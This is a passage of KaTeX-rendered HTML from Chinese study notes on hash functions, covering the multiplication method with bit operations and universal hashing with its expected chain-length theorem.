style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 时，如果字符串是以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mi>p</mi></msup></mrow><annotation encoding="application/x-tex">2^p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span></span></span></span></span></span></span></span> 为基数来编码字符，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h(k)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span></span></span></span> 就是取所有字符编码的和再模 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span>。（详情见 11.3-3）</p><h3 id="the-multiplication-method"><a class="markdownIt-Anchor" href="#the-multiplication-method"></a> The multiplication method</h3><p>简而言之是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">⌊</mo><mi>m</mi><mo stretchy="false">(</mo><mi>k</mi><mi>A</mi><mspace></mspace><mspace width="0.6667em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mn>1</mn><mo stretchy="false">)</mo><mo stretchy="false">⌋</mo></mrow><annotation encoding="application/x-tex">h(k) = \lfloor m (k A \mod 1) \rfloor</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">⌊</span><span class="mord mathnormal">m</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal">A</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mclose">)⌋</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mi>A</mi><mspace></mspace><mspace width="0.6667em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mn>1</mn></mrow><annotation encoding="application/x-tex">k A \mod 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal">A</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span></span></span></span> 指的是取 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mi>A</mi></mrow><annotation encoding="application/x-tex">kA</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal">A</span></span></span></span> 的小数部分。</p><p>书中的内容是用位运算代替浮点数计算。首先要求 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mo>=</mo><msup><mn>2</mn><mi>p</mi></msup></mrow><annotation encoding="application/x-tex">m = 2^p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span></span></span></span></span></span></span></span>，设字长为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>w</mi></mrow><annotation encoding="application/x-tex">w</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span></span></span></span>，限制 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>=</mo><mfrac><mi>s</mi><msup><mn>2</mn><mi>w</mi></msup></mfrac><mo separator="true">,</mo><mn>0</mn><mo>&lt;</mo><mi>s</mi><mo>&lt;</mo><msup><mn>2</mn><mi>w</mi></msup></mrow><annotation encoding="application/x-tex">A = \frac{s}{2^w}, 0 \lt s \lt 2^w</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0404em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5935em;"><span style="top:-2.786em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02691em;">w</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02691em;">w</span></span></span></span></span></span></span></span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>⋅</mo><mi>s</mi></mrow><annotation encoding="application/x-tex">k \cdot s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span></span></span></span> 得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>r</mi><mn>1</mn></msub><msup><mn>2</mn><mi>w</mi></msup><mo>+</mo><msub><mi>r</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">r_1 2^w + r_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8144em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02691em;">w</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，两个长度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>w</mi></mrow><annotation encoding="application/x-tex">w</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span></span></span></span> 的整数相乘结果长度为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mi>w</mi></mrow><annotation encoding="application/x-tex">2w</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>r</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">r_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 是乘积的高位字，$r_0 是乘积的低位字，最后取 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>r</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">r_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 的最高 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 位。</p><p><s>虽然我不知道为什么</s>，书中提到推荐 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>≈</mo><mo stretchy="false">(</mo><msqrt><mn>5</mn></msqrt><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo><mi mathvariant="normal">/</mi><mn>2</mn><mo>=</mo><mn>0.618</mn><mo>…</mo></mrow><annotation encoding="application/x-tex">A \approx (\sqrt 5 - 1) / 2 = 0.618 \dots</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1572em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">5</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mord">/2</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.618</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span></span></span></span>。</p><h3 id="universal-hashing"><a class="markdownIt-Anchor" href="#universal-hashing"></a> Universal Hashing</h3><p>以上两种方法都可以针对性的进行碰撞，如果知道 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 或者 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex">A</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span>，因为它们是确定性散列函数。</p><blockquote><p>这里的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 为哈希表大小</p></blockquote><p>定义有限散列函数组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="script">H</mi></mrow><annotation encoding="application/x-tex">\mathcal{H}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathcal" style="margin-right:0.00965em;">H</span></span></span></span>，能将键映射到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><mn>0</mn><mo separator="true">,</mo><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mn>3</mn><mo>…</mo><mo separator="true">,</mo><mi>m</mi><mo>−</mo><mn>1</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\{0, 1, 2, 3 \dots, m - 1 \}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">3</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">}</span></span></span></span>，且对于不同的键 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo separator="true">,</mo><mi>l</mi><mo>∈</mo><mi>U</mi></mrow><annotation encoding="application/x-tex">k, l \in U</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span></span></span></span>，满足 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><mi>h</mi><mo stretchy="false">(</mo><mi>l</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h(k) = h(l)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">)</span></span></span></span> 的散列函数不超过 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi mathvariant="script">H</mi><mi mathvariant="normal">∣</mi><mi mathvariant="normal">/</mi><mi>m</mi></mrow><annotation encoding="application/x-tex">| \mathcal{H} | / m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathcal" style="margin-right:0.00965em;">H</span><span class="mord">∣/</span><span class="mord mathnormal">m</span></span></span></span>，也就是任选散列函数，发生 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><mi>h</mi><mo stretchy="false">(</mo><mi>l</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h(k) = h(l)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">)</span></span></span></span> 的概率不超过 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mi mathvariant="normal">/</mi><mi>m</mi></mrow><annotation encoding="application/x-tex">1 / m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1/</span><span class="mord mathnormal">m</span></span></span></span>。</p><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>n</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">n_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 表示链表 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi><mo stretchy="false">[</mo><mi>i</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">T[i]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mopen">[</span><span class="mord mathnormal">i</span><span class="mclose">]</span></span></span></span> 的长度。</p><p>定理：如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi></mrow><annotation encoding="application/x-tex">h</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span></span></span></span> 选自 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="script">H</mi></mrow><annotation encoding="application/x-tex"> \mathcal{H} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathcal" style="margin-right:0.00965em;">H</span></span></span></span>，将 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 个键散列到大小为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 的表 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> 中，用链接法处理冲突。如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 不在表中，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 被散列到的链表期望长度 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>E</mi><mo stretchy="false">[</mo><msub><mi>n</mi><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow></msub><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">E[n_{h(k)}]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1052em;vertical-align:-0.3552em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.5198em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mclose mtight">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3552em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span> 至多为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>=</mo><mi>n</mi><mi mathvariant="normal">/</mi><mi>m</mi></mrow><annotation encoding="application/x-tex">\alpha = n / m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" 